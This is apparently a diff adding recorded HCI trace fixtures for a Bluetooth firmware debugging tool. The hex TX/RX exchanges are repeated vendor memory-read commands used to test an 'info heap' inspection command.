+RX 0000000b0000000b000000030000000000e27beebfa1bf98
+RX 040e08014dfc00034100ff
+TX 014dfc05f030210004
+RX 0000000b0000000b000000030000000000e27beebfa2020e
+RX 040e08014dfc00a594a534
+TX 014dfc051431210004
+RX 0000000b0000000b000000030000000000e27beebfa267d2
+RX 040e08014dfc0000ff0080
+TX 014dfc053831210004
+RX 0000000b0000000b000000030000000000e27beebfa2c994
+RX 040e08014dfc0058312100
+TX 014dfc055c31210004
+RX 0000000b0000000b000000030000000000e27beebfa32ad9
+RX 040e08014dfc00ffef3df1
+TX 014dfc058031210004
+RX 0000000b0000000b000000030000000000e27beebfa3cb04
+RX 040e08014dfc00034100ff
+TX 014dfc05a431210004
+RX 0000000b0000000b000000030000000000e27beebfa40c2c
+RX 040e08014dfc002800ac01
+TX 014dfc05c831210004
+RX 0000000b0000000b000000030000000000e27beebfa46da9
+RX 040e08014dfc0028000000
+TX 014dfc05ec31210004
+RX 0000000b0000000b000000030000000000e27beebfa4cc7e
+RX 040e08014dfc0000400000
+TX 014dfc051032210004
+RX 0000000b0000000b000000030000000000e27beebfa52e35
+RX 040e08014dfc0000ffffff
+TX 014dfc053432210004
+RX 0000000b0000000b000000030000000000e27beebfa5ccaa
+RX 040e08014dfc0000000005
+TX 014dfc055832210004
+RX 0000000b0000000b000000030000000000e27beebfa62bf3
+RX 040e08014dfc0078322100
+TX 014dfc057c32210004
+RX 0000000b0000000b000000030000000000e27beebfa6cbdb
+RX 040e08014dfc0000002000
+TX 014dfc05a032210004
+RX 0000000b0000000b000000030000000000e27beebfa70e9e
+RX 040e08014dfc00a3ce1400
+TX 014dfc05c432210004
+RX 0000000b0000000b000000030000000000e27beebfa7529e
+RX 040e08014dfc00eb049005
+TX 014dfc05e832210004
+RX 0000000b0000000b000000030000000000e27beebfa7b27a
+RX 040e08014dfc0045064506
+TX 014dfc050c33210004
+RX 0000000b0000000b000000030000000000e27beebfa7db6c
+RX 040e08014dfc006004a104
+TX 014dfc053033210004
+RX 0000000b0000000b000000030000000000e27beebfa82c47
+RX 040e08014dfc0026052605
+TX 014dfc055433210004
+RX 0000000b0000000b000000030000000000e27beebfa88acc
+RX 040e08014dfc00ffac02ff
+TX 014dfc057833210004
+RX 0000000b0000000b000000030000000000e27beebfa8ce07
+RX 040e08014dfc0098332100
+TX 014dfc059c33210004
+RX 0000000b0000000b000000030000000000e27beebfa912b5
+RX 040e08014dfc00c004ffc4
+TX 014dfc05c033210004
+RX 0000000b0000000b000000030000000000e27beebfa954ce
+RX 040e08014dfc003c323232
+TX 014dfc05e433210004
+RX 0000000b0000000b000000030000000000e27beebfa994a5
+RX 040e08014dfc0010101010
+TX 014dfc050834210004
+RX 0000000b0000000b000000030000000000e27beebfa9d741
+RX 040e08014dfc0077777777
+TX 014dfc052c34210004
+RX 0000000b0000000b000000030000000000e27beebfaa3962
+RX 040e08014dfc006f6f6f0f
+TX 014dfc055034210004
+RX 0000000b0000000b000000030000000000e27beebfaa9ffe
+RX 040e08014dfc0074078c8c
+TX 014dfc057434210004
+RX 0000000b0000000b000000030000000000e27beebfab0517
+RX 040e08014dfc00ff060100
+TX 014dfc059834210004
+RX 0000000b0000000b000000030000000000e27beebfab669f
+RX 040e08014dfc00b8342100
+TX 014dfc05bc34210004
+RX 0000000b0000000b000000030000000000e27beebfabc8a4
+RX 040e08014dfc009f747474
+TX 014dfc05e034210004
+RX 0000000b0000000b000000030000000000e27beebfac29a6
+RX 040e08014dfc009f9f9f9f
+TX 014dfc050435210004
+RX 0000000b0000000b000000030000000000e27beebfac8aea
+RX 040e08014dfc007f7f7f7f
+TX 014dfc052835210004
+RX 0000000b0000000b000000030000000000e27beebfacef98
+RX 040e08014dfc007272727c
+TX 014dfc054c35210004
+RX 0000000b0000000b000000030000000000e27beebfad5616
+RX 040e08014dfc0004eb04eb
+TX 014dfc057035210004
+RX 0000000b0000000b000000030000000000e27beebfadf65e
+RX 040e08014dfc0006450645
+TX 014dfc059435210004
+RX 0000000b0000000b000000030000000000e27beebfae3a18
+RX 040e08014dfc0004600460
+TX 014dfc05b835210004
+RX 0000000b0000000b000000030000000000e27beebfae9e98
+RX 040e08014dfc00d8352100
+TX 014dfc05dc35210004
+RX 0000000b0000000b000000030000000000e27beebfaeff80
+RX 040e08014dfc00ffa802ff
+TX 014dfc050036210004
+RX 0000000b0000000b000000030000000000e27beebfaf61dc
+RX 040e08014dfc0007ffc807
+TX 014dfc052436210004
+RX 0000000b0000000b000000030000000000e27beebfafc1f3
+RX 040e08014dfc00bc04ffc0
+TX 014dfc054836210004
+RX 0000000b0000000b000000030000000000e27beebfb0252b
+RX 040e08014dfc003c3c3c3c
+TX 014dfc056c36210004
+RX 0000000b0000000b000000030000000000e27beebfb0c5cf
+RX 040e08014dfc003c3c3c50
+TX 014dfc059036210004
+RX 0000000b0000000b000000030000000000e27beebfb12794
+RX 040e08014dfc002100b82a
+TX 014dfc05b436210004
+RX 0000000b0000000b000000030000000000e27beebfb187f5
+RX 040e08014dfc0021000000
+TX 014dfc05d836210004
+RX 0000000b0000000b000000030000000000e27beebfb2093d
+RX 040e08014dfc0038372100
+TX 014dfc05fc36210004
+RX 0000000b0000000b000000030000000000e27beebfb26af0
+RX 040e08014dfc00077f0006
+TX 014dfc052037210004
+RX 0000000b0000000b000000030000000000e27beebfb2e7d2
+RX 040e08014dfc0005ca05ca
+TX 014dfc054437210004
+RX 0000000b0000000b000000030000000000e27beebfb35c0b
+RX 040e08014dfc00ff14ff14
+TX 014dfc056837210004
+RX 0000000b0000000b000000030000000000e27beebfb3e988
+RX 040e08014dfc004b5a5a5a
+TX 014dfc058c37210004
+RX 0000000b0000000b000000030000000000e27beebfb45c21
+RX 040e08014dfc0001030105
+TX 014dfc05b037210004
+RX 0000000b0000000b000000030000000000e27beebfb4dbda
+RX 040e08014dfc00646c2000
+TX 014dfc05d437210004
+RX 0000000b0000000b000000030000000000e27beebfb56e46
+RX 040e08014dfc00fdf9f5f1
+TX 014dfc05bc06200030
+RX 0000003700000037000000030000000000e27beebfb5f264
+RX 040e34014dfc00dc06200060003e0078362100783621003e02252100000000000000003d00d187fc0620000c011400b84d2100c44e2100
+TX 014dfc057836210004
+RX 0000000b0000000b000000030000000000e27beebfb6719b
+RX 040e08014dfc00d8362100
+TX 014dfc05dc36210004
+RX 0000000b0000000b000000030000000000e27beebfb6f22a
+RX 040e08014dfc00078c8c8c
+TX 014dfc054037210004
+RX 0000000b0000000b000000030000000000e27beebfb78409
+RX 040e08014dfc00ff14ff14
+TX 014dfc05a437210004
+RX 0000000b0000000b000000030000000000e27beebfb7e7fd
+RX 040e08014dfc0001030105
+TX 014dfc050838210004
+RX 0000000b0000000b000000030000000000e27beebfb8720d
+RX 040e08014dfc0000000000
+TX 014dfc056c38210004
+RX 0000000b0000000b000000030000000000e27beebfb8f49f
+RX 040e08014dfc0010101010
+TX 014dfc05d038210004
+RX 0000000b0000000b000000030000000000e27beebfb970cc
+RX 040e08014dfc000a0602fe
+TX 014dfc053439210004
+RX 0000000b0000000b000000030000000000e27beebfb9fa64
+RX 040e08014dfc0004080c10
+TX 014dfc059839210004
+RX 0000000b0000000b000000030000000000e27beebfba7925
+RX 040e08014dfc0000000003
+TX 014dfc05fc39210004
+RX 0000000b0000000b000000030000000000e27beebfbaf5de
+RX 040e08014dfc00706f7d75
+TX 014dfc05603a210004
+RX 0000000b0000000b000000030000000000e27beebfbb6de7
+RX 04
+RX 0e08014dfc0071718d87
+TX 014dfc05c43a210004
+RX 0000000b0000000b000000030000000000e27beebfbbef45
+RX 040e08014dfc0050615d54
+TX 014dfc05283b210004
+RX 0000000b0000000b000000030000000000e27beebfbc7293
+RX 040e08014dfc0058666d60
+TX 014dfc058c3b210004
+RX 0000000b0000000b000000030000000000e27beebfbcf44e
+RX 040e08014dfc000a07ee03
+TX 014dfc05f03b210004
+RX 0000000b0000000b000000030000000000e27beebfbd79e9
+RX 040e08014dfc007d756d75
+TX 014dfc05543c210004
+RX 0000000b0000000b000000030000000000e27beebfbddc7d
+RX 040e08014dfc008d877c81
+TX 014dfc05b83c210004
+RX 0000000b0000000b000000030000000000e27beebfbea57f
+RX 040e08014dfc005d54575f
+TX 014dfc051c3d210004
+RX 0000000b0000000b000000030000000000e27beebfbf66d7
+RX 040e08014dfc006d605c6c
+TX 014dfc05803d210004
+RX 0000000b0000000b000000030000000000e27beebfbfe3ac
+RX 040e08014dfc000e782220
+TX 014dfc05e43d210004
+RX 0000000b0000000b000000030000000000e27beebfc06663
+RX 040e08014dfc000d0d0d0d
+TX 014dfc05483e210004
+RX 0000000b0000000b000000030000000000e27beebfc0e82a
+RX 040e08014dfc000000000d
+TX 014dfc05ac3e210004
+RX 0000000b0000000b000000030000000000e27beebfc16d41
+RX 040e08014dfc00c4012c53
+TX 014dfc05103f210004
+RX 0000000b0000000b000000030000000000e27beebfc1f727
+RX 040e08014dfc0000005d5d
+TX 014dfc05743f210004
+RX 0000000b0000000b000000030000000000e27beebfc27c7f
+RX 040e08014dfc00c401ec53
+TX 014dfc05d83f210004
+RX 0000000b0000000b000000030000000000e27beebfc303b4
+RX 040e08014dfc0038402100
+TX 014dfc053c40210004
+RX 0000000b0000000b000000030000000000e27beebfc37e0c
+RX 040e08014dfc00c50104ec
+TX 014dfc05a040210004
+RX 0000000b0000000b000000030000000000e27beebfc403b0
+RX 040e08014dfc000000005e
+TX 014dfc050441210004
+RX 0000000b0000000b000000030000000000e27beebfc48af4
+RX 040e08014dfc0001c401ac
+TX 014dfc056841210004
+RX 0000000b0000000b000000030000000000e27beebfc50eab
+RX 040e08014dfc00d90000e1
+TX 014dfc05cc41210004
+RX 0000000b0000000b000000030000000000e27beebfc58f7c
+RX 040e08014dfc0001c4016c
+TX 014dfc053042210004
+RX 0000000b0000000b000000030000000000e27beebfc6124e
+RX 040e08014dfc00e00000e8
+TX 014dfc059442210004
+RX 0000000b0000000b000000030000000000e27beebfc69521
+RX 040e08014dfc0001648c58
+TX 014dfc05f842210004
+RX 0000000b0000000b000000030000000000e27beebfc799ac
+RX 040e08014dfc00ff000301
+TX 014dfc055c43210004
+RX 0000000b0000000b000000030000000000e27beebfc7f96c
+RX 040e08014dfc005f000055
+TX 014dfc05c043210004
+RX 0000000b0000000b000000030000000000e27beebfc8be02
+RX 040e08014dfc0000001000
+TX 014dfc052444210004
+RX 0000000b0000000b000000030000000000e27beebfc97cd4
+RX 040e08014dfc00f40757b8
+TX 014dfc058844210004
+RX 0000000b0000000b000000030000000000e27beebfc9fb7f
+RX 040e08014dfc0000001400
+TX 014dfc05ec44210004
+RX 0000000b0000000b000000030000000000e27beebfca7b49
+RX 040e08014dfc0000040000
+TX 014dfc055045210004
+RX 0000000b0000000b000000030000000000e27beebfcaf1bd
+RX 040e08014dfc0000002c00
+TX 014dfc05b445210004
+RX 0000000b0000000b000000030000000000e27beebfcb4f74
+RX 040e08014dfc0000100000
+TX 014dfc051846210004
+RX 0000000b0000000b000000030000000000e27beebfcbc8f9
+RX 040e08014dfc007c0a50bc
+TX 014dfc057c46210004
+RX 0000000b0000000b000000030000000000e27beebfcc4c7c
+RX 040e08014dfc0008040007
+TX 014dfc05e046210004
+RX 0000000b0000000b000000030000000000e27beebfcccdd1
+RX 040e08014dfc0000000400
+TX 014dfc054447210004
+RX 0000000b0000000b000000030000000000e27beebfcd61ba
+RX 040e08014dfc0000010301
+TX 014dfc05a847210004
+RX 0000000b0000000b000000030000000000e27beebfcdd9d4
+RX 040e08014dfc0015032003
+TX 014dfc050c48210004
+RX 0000000b0000000b000000030000000000e27beebfce573c
+RX 040e08014dfc00fb010502
+TX 014dfc057048210004
+RX 0000000b0000000b000000030000000000e27beebfced915
+RX 040e08014dfc006a023402
+TX 014dfc05d448210004
+RX 0000000b0000000b000000030000000000e27beebfcf5e63
+RX 040e08014dfc0003db03a2
+TX 014dfc053849210004
+RX 0000000b0000000b000000030000000000e27beebfcfe29a
+RX 040e08014dfc0098492100
+TX 014dfc059c49210004
+RX 0000000b0000000b000000030000000000e27beebfd07253
+RX 040e08014dfc0001a901e0
+TX 014dfc05004a210004
+RX 0000000b0000000b000000030000000000e27beebfd0f677
+RX 040e08014dfc0003540397
+TX 014dfc05644a210004
+RX 0000000b0000000b000000030000000000e27beebfd177de
+RX 040e08014dfc00402020e0
+TX 014dfc05c84a210004
+RX 0000000b0000000b000000030000000000e27beebfd1ecc8
+RX 040e08014dfc00030105f8
+TX 014dfc052c4b210004
+RX 0000000b0000000b000000030000000000e27beebfd27677
+RX 040e08014dfc0004000400
+TX 014dfc05904b210004
+RX 0000000b0000000b000000030000000000e27beebfd2f7ed
+RX 040e08014dfc0062005100
+TX 014dfc05f44b210004
+RX 0000000b0000000b000000030000000000e27beebfd377f2
+RX 040e08014dfc0002000200
+TX 014dfc05584c210004
+RX 0000000b0000000b000000030000000000e27beebfd3fa30
+RX 040e08014dfc0000000000
+TX 014dfc05bc4c210004
+RX 0000000b0000000b000000030000000000e27beebfd47ac6
+RX 040e08014dfc0098036000
+TX 014dfc05204d210004
+RX 0000000b0000000b000000030000000000e27beebfd4faa6
+RX 040e08014dfc0000000000
+TX 014dfc05844d210004
+RX 0000000b0000000b000000030000000000e27beebfd57b25
+RX 040e08014dfc002e61319e
+TX 014dfc05e84d210004
+RX 0000000b0000000b000000030000000000e27beebfd68943
+RX 040e08014dfc0000000000
+TX 014dfc054c4e210004
+RX 0000000b0000000b000000030000000000e27beebfd6e941
+RX 040e08014dfc0000000000
+TX 014dfc05dc06200030
+RX 0000003700000037000000030000000000e27beebfd76aa7
+RX 040e34014dfc00fc0620000c011400b84d2100c44e2100120126e200000000000000001100c658e8af200040040a00a8622100a8622100
+TX 014dfc05b84d210004
+RX 0000000b0000000b000000030000000000e27beebfd7ee80
+RX 040e08014dfc0000000000
+TX 014dfc05c84e210004
+RX 0000000b0000000b000000030000000000e27beebfd96b03
+RX 040e08014dfc003f700000
+TX 014dfc05d84f210004
+RX 0000000b0000000b000000030000000000e27beebfda244b
+RX 040e08014dfc0020533819
+TX 014dfc05e850210004
+RX 0000000b0000000b000000030000000000e27beebfda66a2
+RX 040e08014dfc0013001001
+TX 014dfc05f851210004
+RX 0000000b0000000b000000030000000000e27beebfdb1dc1
+RX 040e08014dfc0010010f25
+TX 014dfc050853210004
+RX 0000000b0000000b000000030000000000e27beebfdb7163
+RX 040e08014dfc0000e25213
+TX 014dfc051854210004
+RX 0000000b0000000b000000030000000000e27beebfdbf1d4
+RX 040e08014dfc00010f42ec
+TX 014dfc052855210004
+RX 0000000b0000000b000000030000000000e27beebfdc6f47
+RX 040e08014dfc005194ac0a
+TX 014dfc053856210004
+RX 0000000b0000000b000000030000000000e27beebfdcb335
+RX 040e08014dfc00da0700ba
+TX 014dfc054857210004
+RX 0000000b0000000b000000030000000000e27beebfdd2fda
+RX 040e08014dfc000016f194
+TX 014dfc055858210004
+RX 0000000b0000000b000000030000000000e27beebfddad73
+RX 040e08014dfc00f1feba00
+TX 014dfc056859210004
+RX 0000000b0000000b000000030000000000e27beebfde2c17
+RX 040e08014dfc00be000022
+TX 014dfc05785a210004
+RX 0000000b0000000b000000030000000000e27beebfdeab0c
+RX 040e08014dfc000010010f
+TX 014dfc05885b210004
+RX 0000000b0000000b000000030000000000e27beebfdf3561
+RX 040e08014dfc000000e807
+TX 014dfc05985c210004
+RX 0000000b0000000b000000030000000000e27beebfdfb04a
+RX 040e08014dfc00b8000072
+TX 014dfc05a85d210004
+RX 0000000b0000000b000000030000000000e27beebfe0406a
+RX 040e08014dfc00030008f1
+TX 014dfc05b85e210004
+RX 0000000b0000000b000000030000000000e27beebfe0b02f
+RX 040e08014dfc0087f04cbe
+TX 014dfc05c85f210004
+RX 0000000b0000000b000000030000000000e27beebfe13b72
+RX 040e08014dfc0008b90000
+TX 014dfc05d860210004
+RX 0000000b0000000b000000030000000000e27beebfe1b919
+RX 040e08014dfc000c01003a
+TX 014dfc05e861210004
+RX 0000000b0000000b000000030000000000e27beebfe23d75
+RX 040e08014dfc001936c92b
+TX 014dfc05fc06200030
+RX 0000003700000037000000030000000000e27beebfe2d3c5
+RX 040e34014dfc00e8af200040040a00a8622100a86221000a006a1400000000000000000a006b3f7be9b581f1177b3f21f7dd9df06e0ae2
+TX 014dfc05a862210004
+RX 0000000b0000000b000000030000000000e27beebfe3be35
+RX 040e08014dfc00e8662100
+TX 014dfc05ec66210004
+RX 0000000b0000000b000000030000000000e27beebfe43b8f
+RX 040e08014dfc00c350d687
+TX 014dfc05306b210004
+RX 0000000b0000000b000000030000000000e27beebfe4bb96
+RX 040e08014dfc00e3c78237
+TX 014dfc05746f210004
+RX 0000000b0000000b000000030000000000e27beebfe53d42
+RX 040e08014dfc0019aac824
+TX 014dfc05b873210004
+RX 0000000b0000000b000000030000000000e27beebfe5cb61
+RX 040e08014dfc0069d31cf3
+TX 014dfc05fc77210004
+RX 0000000b0000000b000000030000000000e27beebfe62cc9
+RX 040e08014dfc003d11e110
+TX 014dfc05407c210004
+RX 0000000b0000000b000000030000000000e27beebfe6edcb
+RX 040e08014dfc0027e57831
+TX 014dfc058480210004
+RX 0000000b0000000b000000030000000000e27beebfe7abd5
+RX 040e08014dfc00fcdaacf0
+TX 014dfc05c884210004
+RX 0000000b0000000b000000030000000000e27beebfe82d02
+RX 040e08014dfc007ffa8079
+TX 014dfc050c89210004
+RX 0000000b0000000b000000030000000000e27beebfe8ad55
+RX 040e08014dfc000de1ad99
+TX 014dfc05e8af200030
+RX 0000003700000037000000030000000000e27beebfe92db8
+RX 040e34014dfc0008b020002c040400288d2100288d21000400000000000000000000000400000028b0200044041000d89d2100d89d2100
+TX 014dfc05288d210004
+RX 0000000b0000000b000000030000000000e27beebfea302d
+RX 040e08014dfc0054912100
+TX 014dfc055891210004
+RX 0000000b0000000b000000030000000000e27beebfeab08c
+RX 040e08014dfc00b437b423
+TX 014dfc058895210004
+RX 0000000b0000000b000000030000000000e27beebfeb6dbf
+RX 040e08014dfc00f7ab1031
+TX 014dfc05b899210004
+RX 0000000b0000000b000000030000000000e27beebfec2d1e
+RX 040e08014dfc001bbf2c9c
+TX 014dfc0508b0200030
+RX 0000003700000037000000030000000000e27beebfeced03
+RX 040e34014dfc0028b0200044041000d89d2100d89d21001000000000000000000000001000000048b0200008010f0018e2210018e22100
+TX 014dfc05d89d210004
+RX 0000000b0000000b000000030000000000e27beebfee2b3a
+RX 040e08014dfc001ca22100
+TX 014dfc0520a2210004
+RX 0000000b0000000b000000030000000000e27beebfeeb20b
+RX 040e08014dfc0030c8795b
+TX 014dfc0568a6210004
+RX 0000000b0000000b000000030000000000e27beebfef3414
+RX 040e08014dfc0061d5fb13
+TX 014dfc05b0aa210004
+RX 0000000b0000000b000000030000000000e27beebfefb326
+RX 040e08014dfc008a3dc78e
+TX 014dfc05f8ae210004
+RX 0000000b0000000b000000030000000000e27beebff037e1
+RX 040e08014dfc00c9dcb769
+TX 014dfc0540b3210004
+RX 0000000b0000000b000000030000000000e27beebff0bcf1
+RX 040e08014dfc00e2722f0c
+TX 014dfc0588b7210004
+RX 0000000b0000000b000000030000000000e27beebff13a07
+RX 040e08014dfc006c0b98fc
+TX 014dfc05d0bb210004
+RX 0000000b0000000b000000030000000000e27beebff1b621
+RX 040e08014dfc00101603ea
+TX 014dfc0518c0210004
+RX 0000000b0000000b000000030000000000e27beebff238f0
+RX 040e08014dfc005c915487
+TX 014dfc0560c4210004
+RX 0000000b0000000b000000030000000000e27beebff2c19c
+RX 040e08014dfc00cb41f3b2
+TX 014dfc05a8c8210004
+RX 0000000b0000000b000000030000000000e27beebff343ab
+RX 040e08014dfc00db93b18f
+TX 014dfc05f0cc210004
+RX 0000000b0000000b000000030000000000e27beebff3c416
+RX 040e08014dfc005c5ca405
+TX 014dfc0538d1210004
+RX 0000000b0000000b000000030000000000e27beebff44634
+RX 040e08014dfc00fd2d6388
+TX 014dfc0580d5210004
+RX 0000000b0000000b000000030000000000e27beebff49ff4
+RX 040e08014dfc00c17ab6d8
+TX 014dfc05c8d9210004
+RX 0000000b0000000b000000030000000000e27beebff52099
+RX 040e08014dfc00355e57a9
+TX 014dfc0510de210004
+RX 0000000b0000000b000000030000000000e27beebff59fe5
+RX 040e08014dfc00e4b02aa9
+TX 014dfc0528b0200030
+RX 0000003700000037000000030000000000e27beebff623a6
+RX 040e34014dfc0048b0200008010f0018e2210018e221000f00000000000000000000000f0000000000000008010f0090f1210090f12100
+TX 014dfc0518e2210004
+RX 0000000b0000000b000000030000000000e27beebff6a64a
+RX 040e08014dfc0020e32100
+TX 014dfc0524e3210004
+RX 0000000b0000000b000000030000000000e27beebff72534
+RX 040e08014dfc0000000000
+TX 014dfc0530e4210004
+RX 0000000b0000000b000000030000000000e27beebff7a5ab
+RX 040e08014dfc0000000000
+TX 014dfc053ce5210004
+RX 0000000b0000000b000000030000000000e27beebff82694
+RX 040e08014dfc0000000000
+TX 014dfc0548e6210004
+RX 0000000b0000000b000000030000000000e27beebff8a61a
+RX 040e08014dfc0000000000
+TX 014dfc0554e7210004
+RX 0000000b0000000b000000030000000000e27beebff927c7
+RX 040e08014dfc0000000000
+TX 014dfc0560e8210004
+RX 0000000b0000000b000000030000000000e27beebff9a88a
+RX 040e08014dfc0000000000
+TX 014dfc056ce9210004
+RX 0000000b0000000b000000030000000000e27beebffa2be9
+RX 040e08014dfc0000000000
+TX 014dfc0578ea210004
+RX 0000000b0000000b000000030000000000e27beebffb2a19
+RX 040e08014dfc0000000000
+TX 014dfc0584eb210004
+RX 0000000b0000000b000000030000000000e27beebffba771
+RX 040e08014dfc0000000000
+TX 014dfc0590ec210004
+RX 0000000b0000000b000000030000000000e27beebffc2aab
+RX 040e08014dfc0000000000
+TX 014dfc059ced210004
+RX 0000000b0000000b000000030000000000e27beebffcab4a
+RX 040e08014dfc0000000000
+TX 014dfc05a8ee210004
+RX 0000000b0000000b000000030000000000e27beebffd2dfe
+RX 040e08014dfc0000000000
+TX 014dfc05b4ef210004
+RX 0000000b0000000b000000030000000000e27beebffdadbc
+RX 040e08014dfc0000000000
+TX 014dfc05c0f0210004
+RX 0000000b0000000b000000030000000000e27beebffe2cdf
+RX 040e08014dfc0000000000
+TX 014dfc0548b0200030
+RX 0000003700000037000000030000000000e27beebffeae8a
+RX 040e34014dfc000000000008010f0090f1210090f121000f00000000000000000000000f00000000000000000000000000000000000000
+TX 014dfc0590f1210004
+RX 0000000b0000000b000000030000000000e27beebfff6dfb
+RX 040e08014dfc0098f22100
+TX 014dfc059cf2210004
+RX 0000000b0000000b000000030000000000e27beec0002edc
+RX 040e08014dfc0000000000
+TX 014dfc05a8f3210004
+RX 0000000b0000000b000000030000000000e27beec000acf4
+RX 040e08014dfc0000000000
+TX 014dfc05b4f4210004
+RX 0000000b0000000b000000030000000000e27beec0012d10
+RX 040e08014dfc0000000000
+TX 014dfc05c0f5210004
+RX 0000000b0000000b000000030000000000e27beec001b570
+RX 040e08014dfc0000000000
+TX 014dfc05ccf6210004
+RX 0000000b0000000b000000030000000000e27beec0027363
+RX 040e08014dfc0000000000
+TX 014dfc05d8f7210004
+RX 0000000b0000000b000000030000000000e27beec00333bd
+RX 040e08014dfc0000000000
+TX 014dfc05e4f8210004
+RX 0000000b0000000b000000030000000000e27beec003b50a
+RX 040e08014dfc0000000000
+TX 014dfc05f0f9210004
+RX 0000000b0000000b000000030000000000e27beec00452d7
+RX 040e08014dfc0000000000
+TX 014dfc05fcfa210004
+RX 0000000b0000000b000000030000000000e27beec004d362
+RX 040e08014dfc0000000000
+TX 014dfc0508fc210004
+RX 0000000b0000000b000000030000000000e27beec0055367
+RX 040e08014dfc0000000000
+TX 014dfc0514fd210004
+RX 0000000b0000000b000000030000000000e27beec005da0f
+RX 040e08014dfc0000000000
+TX 014dfc0520fe210004
+RX 0000000b0000000b000000030000000000e27beec0065a28
+RX 040e08014dfc0000000000
+TX 014dfc052cff210004
+RX 0000000b0000000b000000030000000000e27beec006dc92
+RX 040e08014dfc0000000000
+TX 014dfc053800220004
+RX 0000000b0000000b000000030000000000e27beec0075df4
+RX 040e08014dfc0000000000
+Socket closed

tests/traces/adbcore/info_heap_s8_verbose.trace.broken

@@ -0,0 +1,749 @@
+# info heap
+TX 01011000
+RX 0000000f0000000f000000030000000000e27beec8b0011f
+RX 040e0c01011000094f01090f001a41
+TX 014dfc057c06200004
+RX 0000000b0000000b000000030000000000e27beec8b0ab75
+RX 040e08014dfc009c062000
+TX 014dfc059c06200030
+RX 0000003700000037000000030000000000e27beec8b13874
+RX 040e34014dfc00bc06200020006000782a2100d82a21005f02047300000000000000005c00b8ebdc06200060003e007836210078362100
+TX 014dfc05782a210004
+RX 0000000b0000000b000000030000000000e27beec8b1968c
+RX 040e08014dfc00982a2100
+TX 014dfc059c2a210004
+RX 0000000b0000000b000000030000000000e27beec8b23944
+RX 040e08014dfc0011287ed9
+TX 014dfc05c02a210004
+RX 0000000b0000000b000000030000000000e27beec8b29a21
+RX 040e08014dfc00004dfc05
+TX 014dfc05e42a210004
+RX 0000000b0000000b000000030000000000e27beec8b33aae
+RX 040e08014dfc00fc00004d
+TX 014dfc05082b210004
+RX 0000000b0000000b000000030000000000e27beec8b37f1a
+RX 040e08014dfc00057e2f20
+TX 014dfc052c2b210004
+RX 0000000b0000000b000000030000000000e27beec8b3e241
+RX 040e08014dfc0055382000
+TX 014dfc05502b210004
+RX 0000000b0000000b000000030000000000e27beec8b43f00
+RX 040e08014dfc00ffff0100
+TX 014dfc05742b210004
+RX 0000000b0000000b000000030000000000e27beec8b46a99
+RX 040e08014dfc0000000000
+TX 014dfc05982b210004
+RX 0000000b0000000b000000030000000000e27beec8b4b5d5
+RX 040e08014dfc00b82b2100
+TX 014dfc05bc2b210004
+RX 0000000b0000000b000000030000000000e27beec8b4e534
+RX 040e08014dfc000000ffff
+TX 014dfc05e02b210004
+RX 0000000b0000000b000000030000000000e27beec8b523d8
+RX 040e08014dfc0000000010
+TX 014dfc05042c210004
+RX 0000000b0000000b000000030000000000e27beec8b561a8
+RX 040e08014dfc00ffff0038
+TX 014dfc05282c210004
+RX 0000000b0000000b000000030000000000e27beec8b5a092
+RX 040e08014dfc00e000004c
+TX 014dfc054c2c210004
+RX 0000000b0000000b000000030000000000e27beec8b5df4b
+RX 040e08014dfc0065000000
+TX 014dfc05702c210004
+RX 0000000b0000000b000000030000000000e27beec8b63e6f
+RX 040e08014dfc006500a800
+TX 014dfc05942c210004
+RX 0000000b0000000b000000030000000000e27beec8b69dc6
+RX 040e08014dfc00d0010300
+TX 014dfc05b82c210004
+RX 0000000b0000000b000000030000000000e27beec8b6fe4f
+RX 040e08014dfc00d82c2100
+TX 014dfc05dc2c210004
+RX 0000000b0000000b000000030000000000e27beec8b7a8cc
+RX 040e08014dfc0000000000
+TX 014dfc05002d210004
+RX 0000000b0000000b000000030000000000e27beec8b7e80c
+RX 040e08014dfc0000000000
+TX 014dfc05242d210004
+RX 0000000b0000000b000000030000000000e27beec8b8277b
+RX 040e08014dfc00ffff80ff
+TX 014dfc05482d210004
+RX 0000000b0000000b000000030000000000e27beec8b86891
+RX 040e08014dfc0000000500
+TX 014dfc056c2d210004
+RX 0000000b0000000b000000030000000000e27beec8b8a877
+RX 040e08014dfc0000ec0301
+TX 014dfc05902d210004
+RX 0000000b0000000b000000030000000000e27beec8b8ebbf
+RX 040e08014dfc0045432000
+TX 014dfc05b42d210004
+RX 0000000b0000000b000000030000000000e27beec8b92b29
+RX 040e08014dfc0000010003
+TX 014dfc05d82d210004
+RX 0000000b0000000b000000030000000000e27beec8b96b91
+RX 040e08014dfc00f82d2100
+TX 014dfc05fc2d210004
+RX 0000000b0000000b000000030000000000e27beec8b98474
+RX 040e08014dfc0000ff0000
+TX 014dfc05202e210004
+RX 0000000b0000000b000000030000000000e27beec8b9c3f1
+RX 040e08014dfc0000a80360
+TX 014dfc05442e210004
+RX 0000000b0000000b000000030000000000e27beec8ba06bd
+RX 040e08014dfc0014000000
+TX 014dfc05682e210004
+RX 0000000b0000000b000000030000000000e27beec8ba44df
+RX 040e08014dfc002f000000
+TX 014dfc058c2e210004
+RX 0000000b0000000b000000030000000000e27beec8ba835b
+RX 040e08014dfc005f000000
+TX 014dfc05b02e210004
+RX 0000000b0000000b000000030000000000e27beec8bae302
+RX 040e08014dfc002f000000
+TX 014dfc05d42e210004
+RX 0000000b0000000b000000030000000000e27beec8bb85b9
+RX 040e08014dfc002f000000
+TX 014dfc05f82e210004
+RX 0000000b0000000b000000030000000000e27beec8bbc904
+RX 040e08014dfc00182f2100
+TX 014dfc051c2f210004
+RX 0000000b0000000b000000030000000000e27beec8bbef32
+RX 040e08014dfc0022000000
+TX 014dfc05402f210004
+RX 0000000b0000000b000000030000000000e27beec8bc4199
+RX 040e08014dfc0000000000
+TX 014dfc05642f210004
+RX 0000000b0000000b000000030000000000e27beec8bca3a8
+RX 040e08014dfc0000000000
+TX 014dfc05882f210004
+RX 0000000b0000000b000000030000000000e27beec8bcc56e
+RX 040e08014dfc00002f0000
+TX 014dfc05ac2f210004
+RX 0000000b0000000b000000030000000000e27beec8bce06f
+RX 040e08014dfc00006f0000
+TX 014dfc05d02f210004
+RX 0000000b0000000b000000030000000000e27beec8bd0d72
+RX 040e08014dfc00002f0000
+TX 014dfc05f42f210004
+RX 0000000b0000000b000000030000000000e27beec8bd2064
+RX 040e08014dfc00002f0000
+TX 014dfc051830210004
+RX 0000000b0000000b000000030000000000e27beec8bd3b8d
+RX 040e08014dfc0038302100
+TX 014dfc053c30210004
+RX 0000000b0000000b000000030000000000e27beec8bd65e7
+RX 040e08014dfc0000220000
+TX 014dfc056030210004
+RX 0000000b0000000b000000030000000000e27beec8bd7805
